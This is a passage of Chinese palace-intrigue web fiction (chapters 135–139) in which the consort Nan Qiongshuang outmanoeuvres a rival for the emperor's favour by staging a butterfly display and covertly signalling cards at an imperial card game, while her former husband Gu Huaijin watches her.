“妹妹,心静自然凉。”毛琳妍执着她的手摇着,“景仁宫中七口铜缸,堆满冰块,可是,哪里够用?老天爷叫天儿热,哪是人做得了主的?若不是皇上夜夜打牌也要我伺候,熬得我睡不下,我也要失眠呀。” 她笑起来:“还得是贵妃姐姐处事有方。不知姐姐伺候皇上打牌,皇上输赢如何?” 毛琳妍笑得尴尬,嘴唇都黏在了牙花子上,不说话了。 嘉庆帝从前偏爱南琼霜,便是因她格外懂得记牌、打牌,会出老千。她一在,嘉庆帝赢的自然赢,便是要输的局,也有转圜的余机。 她笑着附耳,擦着她茸茸的碎发,轻声道: “……姐姐。今日十五,皇上礼佛,不打牌。” “姐姐着一身艳丽长裙,光下扑蝶,自然娇憨妩媚。可惜,伯牙仍是难遇钟子期,怕是只能孤芳自赏了。” 话说完,她倏尔抽身,转身抬步。 刚欲踏上回廊的石阶,背后人轻笑了一声。 “皇上何时打牌,何日打牌,妹妹还真不如姐姐我知道的清楚。两日后,皇上的八字犹宜□□,皇上特意召了我义兄入宫同乐,我自然是要陪同的。不知此事,妹妹晓得么?” 南琼霜站在回廊前,带着一点笑,没说话。 毛琳妍信步绕着她慢慢踱着,“想来妹妹身子骨弱,不会晓得。皇上一向疼惜妹妹,此后能由我代劳的,悉数都会由我代劳。莫说 侍寝侍疾,便是妹妹这身衣服——”她揪起她一点刺金的袖摆,“——也是照着我去年喜欢的式样,给妹妹打的。皇上那个人呐,眼里看什么都一样。若不是去年见了我穿着好看,也想不起来给妹妹做一身同样的。” “至于我这双鞋。”她提起裙摆,日光底下,一双织金绣鞋同她裙摆一样金光粼粼,鞋面绣着一双宝翠蝴蝶,蝴蝶触须缝着两对翡翠珠子,“是皇上前些日子,新赏给我的。此乃川西的贡品,是以百金难得半匹的蜀锦缝制,有价无市。皇上说,我生得娇媚,与蝴蝶格外相衬,是以赏给了我。” “我亦曾同皇上提过,说妹妹远赴无量山替皇上取药,此等珍品,难道不该留给妹妹吗?可是,皇上只说,妹妹文静腼腆,与蝴蝶怕是不怎么相衬。此事真是奇怪,妹妹性子也算可爱的,如何称得上文静呢?怕是皇上记岔了,还当是别人。” 这话说完,她拈着帕子,掩唇一阵笑,“妹妹别介意,皇上小孩子脾气,总是记岔。姐姐记得你就好了。我知道,皇上顾不上你,你寂寞。过些日子,”她握住她的手,眉眼里一派得意的挑衅,“皇上又允诺替我打一支嵌东珠的蝴蝶簪子。到时候,我戴了簪子,找你解闷去。” 南琼霜听了她这一席话,乏味得不知说什么。 她其实,并非想要嘉庆帝独宠,只想要他一半的心,一半的爱。 可是,这毛琳妍,总视她如眼中钉,仿佛有她无我,有我无她。 她笑得无味,刚懒洋洋地想要回话,忽然听得背后一声:“妍儿。” 她一转身,一身明黄龙袍的人站在日光底下的半截回廊里,朝这边伸出了手。 “皇上!”毛琳妍惊喜交加。 她站在树荫底下,只觉冷意刺骨,屈辱地渗进骨髓。 今日十五,他也出来打牌了?! 甚至,明明看见了她,眼里却仿佛只有毛琳妍,看她,如看一件死物。 这就是帝王心。 毛琳妍登时撒开她,雀跃着奔跳进他怀里,圈住嘉庆帝的脖子,搂得他弓了腰。 嘉庆帝甚至连看都没有看她一眼。 看了她一眼的,是毛琳妍。 那种眼神,放肆、不屑、乖张、得意洋洋。 那意思是——“亲眼看看,皇上选谁?” 她站在原地,怒得几乎发抖,久久未动。 不叫这个男人再度跪倒在她的石榴裙下,算她南琼霜十二年白干。 远处,一抹玄黑衣角静静观望着这一切。倏地,又隐入树影之中,不复踪迹。 第136章 七月十九,正是毛琳妍说“皇上的八字犹宜马吊”的日子。 嘉庆帝嗜牌如命,翻着老黄历攒局。适宜玩牌的日子,定要玩牌,不适宜玩牌的日子,也玩牌,用八字算得适宜玩牌的日子,更是非玩不可。不仅要玩,宫中还得喜气洋洋,阖宫上下不准说兵险匪灾之事,只准说吉利话。 南琼霜懒怠倚在窗下的罗汉床上,听着外面丫头奴才们一口一个“托您的福”“龙恩浩荡”,越听越觉得有趣。 外头,清涟缓步过来,“娘娘,您要的钓竿与纸片。” 她接在手里,散漫瞟了一眼。 那本是根寻常鱼竿,她叫清涟在钓线底下缀了块白色的小纸片,那小纸片便吊在钓线底下,一提便动。 远香自殿外进来,手中端着一叠红艳艳的贡桃,摞成一座小塔:“娘娘,御用监没有咱们的冰块,这些贡桃,放久了怕是要坏了。奴婢挑了些熟透了的,娘娘先可这些吃吧。” 殿内热风熏得人昏昏沉沉,她半阖着眸子:“又是景仁宫的人,把咱们的东西截走了?” “是。问过了御用监的李公公,说是,得了皇上的令。” 嘉庆帝。 她不由一阵笑:“好。” 远香:“除了贡桃,连娘娘爱吃的荔枝,也给景仁宫截走了。奴婢今早去一看,仅给娘娘剩了些小的青的,硬得跟石头子儿一般。娘娘若是准,奴婢直接扔了?” 她倚在罗汉床的围子上,百无聊赖打了个哈欠:“不必。下午再去领,就该有什么有什么了。说不准,景仁宫的东西,你还可领一些回来。” “娘娘?” 她一抬手,“先下去吧。” 远香与清涟对视一眼,清涟颔首下去,远香又道:“娘娘,皇上说您自无量山归来后,气血虚乏,食欲不佳,吩咐赵太医过来为您请脉。请娘娘在菡萏宫中候着,不要随意走动。” “我食欲不佳,不是因大热天的,连冰块也没有一块么。”她含笑在指间捋着胸前长发,“假惺惺的。行了,知道了。” “还有一事。”远香自袖中摸出一张叠得方方正正的纸片,恭敬奉在掌中。 她一见那严丝合缝的叠法,心里便咯噔一下。 听天由命地接在手里,在指间搓着。 “下去吧。” 远香恭顺地垂首退下。 她心烦意乱地将那纸片在手中捻了半天,阖着眼,心里一片冰凉的忐忑。 不安、烦躁、难以面对。 在心中缓了许久,她终于下定决心,将那小小的纸片展开。 一看,便手肘拄在围子上,有气无力扶着额头。 是那人的字。今日不是正楷,而是行书,风流俊秀。 但只有两个字。 “何意。” 她心里一抖,哀叹一声。 * 巳时,日头尚不太大,掩在高高的澄黄的琉璃瓦下,照得一切明媚纷繁。 暑气倒尚未上来,南琼霜提着裙摆,拿着清涟备好的钓竿,钻进昨日晟贵妃跳来跳去的花丛中,挑了一块被日光照亮的地方。 她等的人尚未来。 她站在几步开外的树荫里,静静等着。 终于,自紫宸殿的方向,传来一阵脚步声,夹杂着高声阔谈。 中间,还有一把娇甜的嗓子,女人的嗓音,陪着咯咯直笑。 南琼霜耸了耸肩,将那钓竿底下的纸片甩在空中,手握着钓竿,在蝴蝶翩跹的花丛之上,信手一挥。 嘉庆帝今日心情格外好。七月十九,是顾怀瑾回无量山前给他专门挑的黄道吉日。今天早上甫一睁眼,他便见窗棂上歇着一只大黄蝴蝶,叫来身边的王让一问,王让说是大吉之兆,“福气临门”。 等到穿戴齐整,欲直奔笑乐园,又见毛琳妍专挑了一身蝴蝶式样的衣裳,配那双蜀锦翠蝶绣鞋。他更觉巧妙,只道今日被吉兆萦身,是大吉中的大吉。 遂起身直奔笑乐园。 走在回廊内,又有一只蝴蝶随在他身后。 毛琳妍娇笑起来:“呀,皇上,又一只蝴蝶。皇上今日可真是有福,这么招蝴蝶喜欢的人,臣妾还没见过呢。想来皇上今日定是旗开得胜,臣妾这一身裙子,也不算白穿了。” 嘉庆帝仰头一阵畅快大笑,“非也,非也。今日若是赢了,多亏爱妃这一身百蝶长裙。” 负手转过回廊曲折的拐角。 刚一转过,步子便停了。 毛琳妍满肚子的吉利话顿时也堵在肚子里。 她昨日在此扑蝶作态的花丛之中,有一个人。 那人今日一身栀子黄缕金蝉纱长裙,臂上一条庭芜绿绸缎披帛,满头璎珞宝石,正独自一人,在光下花间。 满身环佩叮当,光芒耀眼,粼粼闪动。 若只说身段,在她眼里,也没什么。 只是。 那女子手中执着一支长竿,在花间信手挥舞。不知用了什么法术,嬉戏间,惹得御花园内几十上百只彩蝶萦绕着她周身流连飞舞。斑斓蝶翼在日光下映得朦胧碎闪,她在其中,仿佛跃下凡尘玩闹的仙子。 怎会有如此巫术。 毛琳妍简直看得目眦欲裂。 花中人又木竿一挥,满园彩蝶在她身侧旋出一道翕动扑闪的虹,她一面玩,一面赏,伸出一只手掌向上接着,长发被微风拂动。 一只蝶轻盈落在她掌中,惹得她弯着眼睛笑了一瞬,之后,手掌一托,又将那蝶送入缤纷的洪流里。木竿再在花丛中旋转着挥舞一回,钓线抛上高空,蝶群在光下盈盈闪动,自她足底,螺旋绕着她周身翩跹。 花也动,蝶也动,花中人的璎珞也动。满园错彩绚烂,瑰丽纷繁。 廊下一行人不由自主地驻足止步。 嘉庆帝一时看得忘了声音。 南琼霜作态作得够了,担忧日头底下站得太久,一会面圣,脸上的妆要融化,适可而止地收了钓竿。 只聘聘婷婷地,站在花间,留一个欲语还休的窈窕背影。 她都不必看,便知她身后,嘉庆帝是怎样一眼倾心、垂涎三尺。 男人,不就是图个皮囊吗。 毛琳妍的表情,她倒想亲眼看看。 毕竟,全是她的主意、她的心思。 御花园,她挑的地儿。蝴蝶,她所得意之物。守株待兔、矫揉造作,亦是她的主意。 她真想看看,这个昨日才大获全胜、耀武扬威、叫她屈辱难 堪一整晚的主,今日,会是什么表情。 她笑意幽深,缓缓抬起眼帘。 却隔着雕花的回廊,径直与树荫下的一个影子相对。 长衣如墨、发如漆缎、缚着绸带、面无表情。 顾怀瑾。 她脑子里嗡的一声,一股羞耻之意骤起,满面滚烫,脚下一软,讪讪转回身。 ……当着前夫的面,得意洋洋地同新人玩弄手段、摆弄姿态,天底下怎会有如此尴尬之事啊? 他不是说两日后才回宫吗?! 眼前一行人中,忽然响起一人的高声笑赞。 李玄白今日也在——应嘉庆帝的邀,在这大好的日子前来赌牌——绕过憋得红彤彤的毛琳妍,一面拍掌大笑,一面凑到嘉庆帝旁边吹风:“神妃仙子,当真是神妃仙子。瞧瞧,清河谢氏,净出此等水灵人儿。” 南琼霜只觉背后另一人阴恻恻的目光,几乎将她插个对穿。 熟人煞有介事地替她自吹自擂,固然是好心。可是,他越夸,她越恨不能原地刨个坑,把自己埋了。 嘉庆帝负手在后,直望着她,一步一步,做梦一般恍惚,朝她走近。 她装着羞赧,低眉颔首。 背后,那人的注视久久不散,阴潮惊人。 她心里忽然有种直觉。 他很想把她拖回他的四象塔。 这个念头一出,她浑身发毛,急急往前跨一步,乖顺行礼,“珍妃谢氏,恭请圣安。” 嘉庆帝伸出手扶她起身:“德音啊。这些日子,朕久未见你,”话说一半,她直起身子,望进他眼睛里去,视线交错,他的话顿时断了,声音在喉咙里滚动半晌,才艰难续上,“……不知你近些日子可好。” “回皇上,”她硬着头皮在眼中蓄泪,顾忌着身后人,半晌,才攒出一小颗,“日日见不着皇上,德音如何安好。自从臣妾从无量山上回来,便不知何处惹恼了皇上,只得日日在宫中抄经……” 身后的视线,悄无声息撤去了。 她浑身神经骤然松懈下来,眼睛不住落泪,口里却松了一口气,捻着帕子掩唇: “臣妾无事可做,才在这御花园中戏蝶。不知是否惊了皇上圣驾,”越说,越发柔柔地往地下瘫倒,“……倘若惹了龙颜不悦,万望皇上宽恕。” 嘉庆帝心痛不已,手忙脚乱地弓下身子揽她,她正含着泪花、柔若无骨地软倒下去,余光惊见一抹玄黑身影自不远处回廊踱步而来,一言不发停在嘉庆帝身后不远处,静默注视着她。 她两只膝盖立时蹬直,直挺挺地站稳了。 “哎,今日是皇上的大吉之日,你再怎么喜极而泣,也需得有个度。”李玄白抱着肩膀开了口,“不过,这么一大帮子蝴蝶,你是打哪引来的?” “并非是引来的。”她拭着泪道,“德音也不知它们缘何会来。” “好啊,好。”嘉庆帝鼓掌大笑,“蝴蝶乃是吉兆。朕自今日晨起,蝴蝶之兆不断,眼下,又有了一位懂得引蝶的爱妃。今日之局,焉能不胜?” 他回身问顾怀瑾:“顾先生,请问,神妃引蝶,此兆何解?” 南琼霜提心吊胆地站在嘉庆帝对面,不敢抬头。 顾怀瑾缚着黑绸的脸不动声色,不知在看谁,也不知是怎样神态。 明明中间隔着九五之尊,却仿佛只有两人对面站着似的。 顾怀瑾阴晴不定地沉默了许久。 良久,他轻笑一声开了口: “蝴蝶,与褔迭音近,乃吉祥之物。娘娘是皇上的爱妃。那么,娘娘引蝶,便是娘娘引福,可解为……” 嘴唇翕动,一字一开: “鸾凤和鸣,天作之合。” 第137章 “好,好!爱妃引福,天作之合。今日亦是朕大吉之日,笑乐园内,福上加福,诸位可得承让,承让了啊。” 嘉庆帝朝李玄白等人客气拱手,一步跨来牵起她的手腕。 顾怀瑾垂首一瞬,眼睛缚着,也不知是看还是没在看。 她心惊胆战地被嘉庆帝拉到了身前。 顾怀瑾正在嘉庆帝身后半步。 她心脏几乎跳出喉咙,即便与嘉庆帝对面站着,满脑子也是纸条上那两个潇洒匆促的字: “何意。” 如今,只要离得近些,他什么也不做,她也觉得他咄咄逼人。 嘉庆帝执着她的手,一下一下欣慰拍着:“德音啊,朕今日要到笑乐园内玩个痛快。你身上的福气,可得借朕一用啊。” 她帕子掩着鼻尖,羞涩笑了。 一抬眼,却见昨日洋洋得意、趾高气昂的毛琳妍,远远地被冷落在了众人之外,一身精心挑选过的百蝶织金长裙都黯淡了下来,灰秃秃的,不甘而狼狈。 南琼霜终于心情好了些,低眉拭泪的间隙,朝她挑眉。 嘉庆帝回身握了一下毛琳妍的手:“妍儿,你今日就先回景仁宫。笑乐园内人太多,嘈杂。你近日苦夏,睡得不好,快回去歇歇。莫忘了过会,赵太医还要为你诊脉。”一面又对王让道,“朕着人打的蝴蝶簪子呢?” “皇上,”毛琳妍两步款踱过来,一抬眸时,眼已红了,哀哀戚戚扒住嘉庆帝的小臂,“那支嵌东珠的蝴蝶簪子,您说过了要赏给我的。琳妍期盼了好久,您……” “一支簪子而已。你若想要,朕再赏你便是。”皇上连眼都未瞥,便将胳膊抽回来,一面对王让道,“簪子取回来,送去菡萏宫,蝴蝶与珍妃最相配。” 毛琳妍脚一软,几乎跪在地上。 再转眸看向她时,眼底几乎含着血。 南琼霜微笑福身:“谢皇上。” 不过。 她垂首,一面静静盘算。 赵太医要为毛琳妍诊脉?不是说,赵太医要来菡萏宫么? 嘉庆帝牵着她,转身便绕过僵在原地的毛琳妍,径直往笑乐园内去。 随行的浩浩荡荡一行人,沉默随在两人身后。 她装着不知,“皇上今日要做什么去?” “去笑乐园。顾先生算过,今日是朕的好日子。” “同摄政王一起打牌?” 她回身朝李玄白看了一眼。 未等看清,余光一瞥,顾怀瑾一言不发地正随在她背后,仿佛一个阴魂不散的鬼。 她顿时如芒刺背,悻悻转回了头。 既然是天子谋臣,不跟在皇上身后,跟在她后面做什么?! 她再也不敢往后瞧。 “正是。这种大日子,非得叫上皇兄不可。”嘉庆帝笑着一摊手,“不然,樗蒲不曾叫上皇兄,马吊牌又不叫,皇兄还要以为,兄弟之间生了嫌隙。” 南琼霜笑着应是。 这时候,便把宫宴之上公然讥讽,诱使他当众发了疯症的事按下了。 嘉庆帝其人,虽有疯症,然而清醒时,也知何时该退,何时该惧,何时该割城让步。 “德音,身子最近如何。”嘉庆帝牵着她的手,在掌中拍着,“ 朕吩咐顾先生去菡萏宫内为你诊脉,不想竟在御花园撞见了你。不是特意对你说,在宫中好好候着,不要四处走动吗?” 她心里咯噔一下。 “顾先生为我诊脉?”想到他就在她身后静静听着,她浑身不自在,“不是说赵太医来诊吗?” “原本确实如此。方才,朕与琳妍几个在紫宸殿内谈话,顾先生说赵太医医术最高明,你刚刚自山上下来,舟车劳顿,应叫赵太医为你诊。谁成想,刚传了令,琳妍便说身体不适,求朕派赵太医到景仁宫中去。”他道,“是以,朕本想叫顾先生代赵太医去菡萏宫,回头再来笑乐园。” 这话一说,她什么都明白了。 顾怀瑾知道径直来见她,她必然借故躲开,于是故意在嘉庆帝面前称赞赵太医的医术,引导嘉庆帝下令,派赵太医来为她诊脉。 毛琳妍一向与她作对,她听见了,哪里会肯,定然是回头便将赵太医截下了。 如此,皇上的令传了,却因毛琳妍撒娇而改了。倘若她老老实实留在宫中等人号脉,等来的,必然是顾怀瑾。 他算准了她会避而不见,也算准了毛琳妍的脾气,兜了好大一个圈子,设局逮她。 她心里有一种后知后觉的庆幸。 身后,顾怀瑾一言未发。 他这个人,从前那般端方温润、坦荡磊落,如今,心思深得难以揣测。 怎么,这架势,是不逼她独处,不罢休吗? 她捻着帕子一笑,“德音的身子,怎么就这样坏了,要劳烦国师先生东奔西跑的。下次,皇上欲使顾先生陪着玩牌,叫顾先生安心在笑乐园内陪着便是。”又道,“顾先生在无量山上耽搁了许久,不知是何时回京的?” “回娘娘,昨日才抵京。” 他的嗓音,丝毫无异,她心里一跳。 昨日?他昨天来的消息,还说三日后回宫。 原来,那条消息,也是假的。 大概也是为使她放松警惕,以待今日捉她。 她不由生出一股忌惮之意,往前疾走两步。 这人,不会她不肯见面,便要绕着紫禁城日日堵她吧。 一拐弯,花影摇动的回廊尽了,日头底下,是金碧辉煌的笑乐园。 一行人遂入笑乐园内入了座,南琼霜自然而然地坐在嘉庆帝身侧。 牌桌之上亦有尊卑,李玄白身边的大太监吴顺,弓着身子,替李玄白拉开了她身旁的座位。 顾怀瑾坐在嘉庆帝正对面。 南琼霜心里如释重负,刚松了口气,一抬眼,见一个圆头圆脑红脸的人,欣喜异常地朝她行礼,一双眼睛夹在憨笨的肉里,小如枣核,却瞪得精光四射: “微臣常忠,见过珍妃娘娘。” 她坐在位子上,一时愣住了。 这人,方才一直随在顾怀瑾身后,可是,他生得太普通,又跟在最尾,一言不发,她还以为是跟在后面的仪仗。 “常忠,常大将军的儿子。”李玄白屈起食指在桌上叩了叩,歪在椅背,“怎么这时候才来同娘娘行礼。” 来人抱拳,一阵谄媚的笑:“娘娘一直同皇上说话,微臣哪里敢近前啊。” 他那笑容,南琼霜忽然想起了,这个常忠,她曾见过。 当日,顾怀瑾回宫的接风宴上,她坐在上头,曾与他对视一瞬。 “原来是常将军。”她微笑颔首。 招呼过了,常忠这厮却仍站在原地,既不退下,也不落座,似乎想多说几句,腹中却无点墨,尴尴尬尬卡在她面前赔笑。 “常将军?”她品出一丝不对。 顾怀瑾啜了口茶:“常将军请入座。” 她微微嘶了口气。 李玄白含笑睨了顾怀瑾一眼,意味深长地叩着桌面,“坐下,坐下。” 常忠手忙脚乱地拉开嘉庆帝另一侧的椅子,嗵一声坐下,掏出手帕擦他满脖颈的汗。 宫人终于将马吊牌奉上了桌,摆在桌面正中。 她虽在桌上,但只陪,不打。嘉庆帝头一个抓牌。 抓第一张时,神清气爽;第二张时,意气风发;第三张时,渐露难色;第四张时,眉头紧锁;第五张时,抬眼瞟着顾怀瑾。 南琼霜一见嘉庆帝那神色,便知不对。嘉庆帝此人,嗜牌如命,偏偏又没有这个命,臭牌篓子一个。想来,即便是算着八字挑日子,手气差,还是差。 她拿着团扇,凑过去柔柔替嘉庆帝扇风,一面倾身过去,若无其事地瞧他的牌。 嘉庆帝顾不得她,根本没发觉。 她一看,心一凉。 怎会有人手气臭到如此地步。这就是他的八字吗? 无怪乎坐上了皇位,也要被人拉下来。 她瞧完了,又收回身子坐直,晃着团扇。 慢慢悠悠地,贴在椅背上,神不知鬼不觉地,朝李玄白那侧偷瞧。 李玄白正心灵手巧地将所有牌展成一个扇面,聚精会神地捏着下巴。 她一看,叹息一声。 行了,这位命是真好,无怪乎没有皇位,硬抢皇位。 只是,不能如此。 今日嘉庆帝,是因她引蝶有福而要她陪同的。假如她坐在此处,他却输了个落花流水,说不准毛琳妍会拿准此事,告她一状。 她手肘撑在桌上,叹了口气。 复又靠在椅背上,拿着团扇,鬼鬼祟祟掩在眼睛底下,偷偷摸摸地往旁边瞅。 忽而,身上一哆嗦。 她毛骨悚然地抬起头。 顾怀瑾面朝着她,唇平直抿着,缚着双眼,不动声色,不近人情。 如今,他一句话也不必,一个字也没有,她也知道他的意思。 他不准她太注意李玄白。 她心里轻嗤一声。 少管。 既然知道了她的底细,他定然不会再接受她。 男女情爱,她从未看重过,更不会强求。 他对她说的那四个不准,也就毫无效力了。 能怎样?这里可是紫禁城。 她带点畅快的笑,无声息瞥他一眼,收回眼光,在心里琢磨一遍,一手搁在嘉庆帝腿上,悄悄扯了扯他的袖子。 在他腿上,写了几个字。 第138章 面红耳赤抓耳挠腮的嘉庆帝,倏地一怔。 南琼霜纤长的指尖在他腿上缓慢勾勒,一个字。 “文”。 嘉庆帝攥拳在桌上敲了两下,啪地甩出一张牌:“文钱,主门。” 李玄白心烦至极地“啧”一声,靠着椅背伸长了腿。 这厮,一手金灿灿的好牌,奈何花色不匹。出手,舍不得;不出,无牌可出。 他仰头扶额,哀叹一声。 南琼霜捏着瓷盘中的玫瑰糕放入口里。入口即化,她笑而不语。 众人依次出牌,又轮到嘉庆帝。 南琼霜缩着肩膀靠在椅背上,若无其事、无辜懵懂、不关己事地转着眼珠子。 眼神在李玄白的牌上落了一瞬。 苍蝇似的嗡一下弹走。 李玄白丝毫未察,只觉命苦。 他以为是天意。 “摄政王打得不顺?”她用帕子接着玫瑰糕的碎屑,笑个不停,一面悄悄在嘉庆帝腿上写字,“人有生不逢时,莫非牌也有生不逢时?” 李玄白翻她一眼,懒得理会她揶揄之辞,烦得“啧”一声。 忽而,电光石火之间,品出一丝滋味。 他理着牌的手指顿了顿。 候了片刻。 福至心灵地瞥眼过去。 与正往他牌上轱辘眼珠子的南琼霜,心有灵犀地对视上。 李玄白怒得扯起唇角,笑了一瞬。 身旁人一双眼睛倏地弯成两泓月牙,老老实实抬起眼睛,团扇掩面,坐好了。 对面,顾怀瑾拿着茶盏喝茶,饮毕,慢条斯理地往桌上一撂,当一声。 牌桌上其余四人,齐齐抬头望他。 “失礼。”他淡声道,“没拿住。” 南琼霜嘶了一口气,往嘉庆帝身边靠了靠,没理会。 嘉庆帝心思根本不在其他,看了一眼便低下头去,梗着脖子咯咯笑了半晌,嘴角挂上耳根,把手里的牌哗地往外一抛:“没了!朕出完了!我就说么,今日乃朕大吉之日,顾先生算的卦,定然是不会有错。” “是啊,正是。万岁爷吉星高照,所向披靡啊。”常忠抱着手朝嘉庆帝赔笑。 “行了,你。”她正满面春风地拿团扇为嘉庆帝扇着小风,李玄白一见她那得意神色,气不打一处来,胳膊搭在椅背上,手朝常忠那侧一指,“你给我坐一边去!别上我这来。” “摄政王息怒。”她哀哀戚戚地抽出帕子拭泪。 桌上,常忠和嘉庆帝全然不知发生何事,顾怀瑾虽然心知肚明但一言不发,整个笑乐园内以为大事不妙,鸦雀无声。 嘉庆帝连连抬眼觑顾怀瑾的神色。 顾怀瑾面沉如水,犹自不理。 李玄白一见她掏帕子,更是憋得牙痒痒:“你少给我来这套。坐过去!” 嘉庆帝掏出明黄色的手帕,急慌慌擦着额上冷汗,一面对她笑,“德音,你就坐朕另一侧吧,挨着常将军,啊。” 满桌人忌惮不已,唯有她一个忍俊不禁,抿着笑道,“是。” 遂坐在了嘉庆帝另 一侧。 再来一局。 嘉庆帝意料之中地,又抽中一手臭牌。 嘉庆帝倒霉,便是南琼霜跟着倒霉。倒霉的人会习惯一切,倒霉又聪明的人并不会怨天尤人。 她如法炮制,一脸不问世事懵懂无辜地,把眼珠子贴到常忠的牌上。 李玄白似笑非笑地隔着牌桌盯视她。 常忠的牌也臭。 南琼霜烦躁不已,瞥了一眼,恨还不如没看,看了也无用,平白无故地蹭了一身汗臭——常忠身上有股隐约的酸味。 她坐回椅子,听天由命地揉着眉心。 一眼瞥去,却见嘉庆帝一头冷汗仍在不住地往外冒,捏着牌扇的手,也细微打着哆嗦。 “皇上?”她捏着帕子,一下一下扶着他的背替他顺气,“可是身子不适?” 嘉庆帝垂着眼,冷汗颤颤巍巍地凝在睫毛上。她手掌按着他后背,错愕地发觉他整个身子都在抖,忙偏过头去仔细分辨他的神情。 嘉庆帝没理她。 “顾先生……近日还需回山吗。” 南琼霜一颗心慢吞吞地吊起来,转过头去看那寡言的人。 “山上近日无事。” “那,那顾先生住在城南的宅子里,可还方便?” “城南僻静,诸事皆宜。” “诸事皆宜?朕看未必。城南嘈杂,各路人马皆从此处出城,先生喜静,想来城南不是个好住处。”嘉庆帝将手里的牌一放,放到一半,忽而顿住,小心将牌翻过来扣在桌上,“这样吧,朕的意思,顾先生搬到长安街来。” 长安街,正在紫禁城门前,三两步即可入宫。 南琼霜倏尔明白了嘉庆帝的意思。 对面,李玄白亦心领神会,懒懒笑了一声。 方才,李玄白随口斥她那一句,他们两人是彼此心中有数,但嘉庆帝并不明白。 她是嘉庆帝的爱妃,李玄白当众责骂她,嘉庆帝便以为指桑骂槐,意有所指,心中不安。 如今,一有风吹草动,嘉庆帝撒丫子就要躲在顾怀瑾身后。 这些意思,顾怀瑾如何不懂。 此前,嘉庆帝就几次三番提过要他搬到长安街来。 长安街才当真是闹市。每至节庆,爆竹的红皮子要在门前积上三寸,人挤得连门都推不开。夜至丑时,街上也时时有策马之声,车声辚辚,搅得人不得清净。 他侍奉嘉庆帝,是为还无量山老掌门的人情,并非心甘情愿,择良木而栖。因而,嘉庆帝再无他不可,他也始终不肯松口,搬至长安街上。 不过。 他隔着绸带,不动声色地观察对面,再熟悉不过的那个人。 那个人…… 前些天,还满身他留下的印子,粉艳艳的。 那些印子,想必还没消掉吧。 欢爱的痕迹尚未除,欢爱的人先忘了。 他心不在焉地将青花茶盏握在掌中,大拇指一下一下刮着杯身。 “嚓”一声,茶盏破开。 嘉庆帝惊站起身:“来人,别将先生烫了!替先生换茶更衣!” “不必。”顾怀瑾浑不在意甩去手上滚茶,晶莹水珠自他修长的指骨滑落,他面色是冷玉般难以接近,“既然是皇上的意思,顾某搬去长安街便是。” “唷,不是说了好几回,让你住宫门口,你嫌吵,不肯来吗?”李玄白懒倚在木椅中,吊儿郎当晃着脚,“怎么,今儿一说就来了?” 南琼霜坐在椅子里,事不关己地咬着玫瑰糕,接着小瓷盘捻去指尖碎屑。 忽而,有一种感觉。 被人注视着。 阴冷、偏执、不肯罢休。 她毛骨悚然,一激灵抬起眼来。 顾怀瑾缚着绸带,不知在看她,还是没在看。 她慢吞吞将哽在喉咙里的玫瑰糕咽下去。 这人,自从她那张一刀两断的字条递出去之后,两个时辰便来一张字条问她“何意”,似乎她不答,他便歇斯底里。 到底想如何?若说听了雾刀的话,难以接受,径直断掉便是了,还有什么要问的? 顾怀瑾一言不发,唇紧抿着。 良久,他简短道,“为皇上分忧。” “长安街上许多宅子,顾先生尽可以随意挑选。”嘉庆帝冷汗涔涔,“不过,都说皇城根下福气最旺,朕想……” “皇上若肯,顾某愿搬去从前周大人旧宅之中。” 这位周大人,南琼霜亦有所耳闻,说是先帝时的一位重臣,数次力挽狂澜救天下太平,甚得帝心。不过,最后因故获罪,菜市问斩,那宅子自此便空了下来,无人居住。 那所宅子,刚刚好好,在紫禁城的承安门门口。 “好!既然如此,朕即日便着人修缮周氏旧宅,先生有何要求,尽管说便是。” “顾某无甚要求。”顾怀瑾礼貌颔首,“皇上肯赐宅,已是圣主隆恩。” 南琼霜心中有些惴惴难安。 他本就有宫禁令牌,如今,又搬来了皇宫门口。以后,莫非她随意在宫中走走,便可能迎头撞见他? 她想平平安安地同他断掉,怎么这样难啊。 “顾先生这是素来无所好,不然,皇上几次三番赐宅,要是我们呐,早答应了!”常忠咧开嘴笑,手里倒腾着自己那一把牌,“微臣爹爹近些日子封爵,皇上赐了所宅子,那屋子呀,太漂亮了!房梁顶有外面那天香楼那老高!” 天香楼,乃是洛京城内最有名的销金窟。 南琼霜万万没想到此人会在专说吉利话的紫禁城里提及烟花柳巷,捻着帕子蹭下巴。 “哦?给常大将军一所漂亮宅子,你高兴了,大将军高兴吗?”李玄白笑得意味深长。 “爹爹也高兴。不过爹爹还说,”常达一双小眼睛忽而转向刚松了一口气的嘉庆帝,涎着脸笑起来,脸颊肉成了两个红团子,“倘若皇上还肯赐些美娘子,我那风流倜傥的爹爹,想必会更念圣恩呐。” 李玄白单手拄在桌上,眸子里含点促狭笑意,看好戏似的往嘉庆帝身上瞟了一眼。 刚讨完王爵,讨完禄米,见再实际些的讨不来了,便又来讨些小的。 常达此人,心性贪婪,难以餍足。如此一步步贪下去,早晚有一日会三足失衡,那么,谁摔在地上,就不一定了。 这个道理,嘉庆帝自然也明白。 但是,他卷入其中,坐的是双方必争的位子,手中又别无长物,只好两面低头,以求在混乱中求得一隅安身。 他擦着冷汗,一面点头一面笑,“田宅既是小事,女人,更是小事。不知常大将军和常将军二位,喜欢什么样的女人?” 南琼霜在一侧听着,微微摇了摇头。 常将军府上又要去女人了。公孙红办事未免太差劲,至今还未将二人抓在手里。 眼下好了,新人入府,想必她更焦头烂额了。 她叹一口气,眼一瞥。 常忠的牌漏了出来。 南琼霜喜不自胜,装模作样地将喜色压下去,神不知鬼不觉地靠在椅背上,递眼神偷瞟。 这一瞟,竟与那枣核般的小眼睛对上。 她唇角的笑顿时僵了一刻,复又礼貌勾唇。 “我爹爹喜欢骚的。至于我,”常忠直勾勾涎视着她,一双眼半点儿不肯挪,鼻子底下也出了油,积在唇线上,一字一字: “我喜欢对我笑的。” 第139章 下一瞬,常忠痴妄神色缓缓僵在面上: “娘娘,您怎么不笑了?” 南琼霜转回头来,按着心口顺气,强迫自己心平气和,一面又挂上了笑意。 未待开口,顾怀瑾在一旁轻啜了口茶又放下,淡道,“常将军,失态了。” 对面李玄白两手抱在脑后,瘫在椅子里蔑笑一声:“倒还挺会挑。” 常忠不知桌上这两位大人缘何一齐冷言冷语,左瞥一眼,右瞥一眼,搔着头望向嘉庆帝。 嘉庆帝却端起茶盏,笑得眼下纹路炸开,“常将军不过是玩笑罢。牌桌戏言,常将军不当真,朕自 是不会当真。来,出牌,出牌!” 说着,将手上牌挑了几张,往面前一撂。 常达干笑两声,探出身子细瞧,看了一眼,方知嘉庆帝那一把牌竟是针对着他出的,啪一声拍在自己圆滚滚的脑壳上,“万岁爷手气上佳。今日是万岁爷大吉的日子,万望您手下留情啊。” 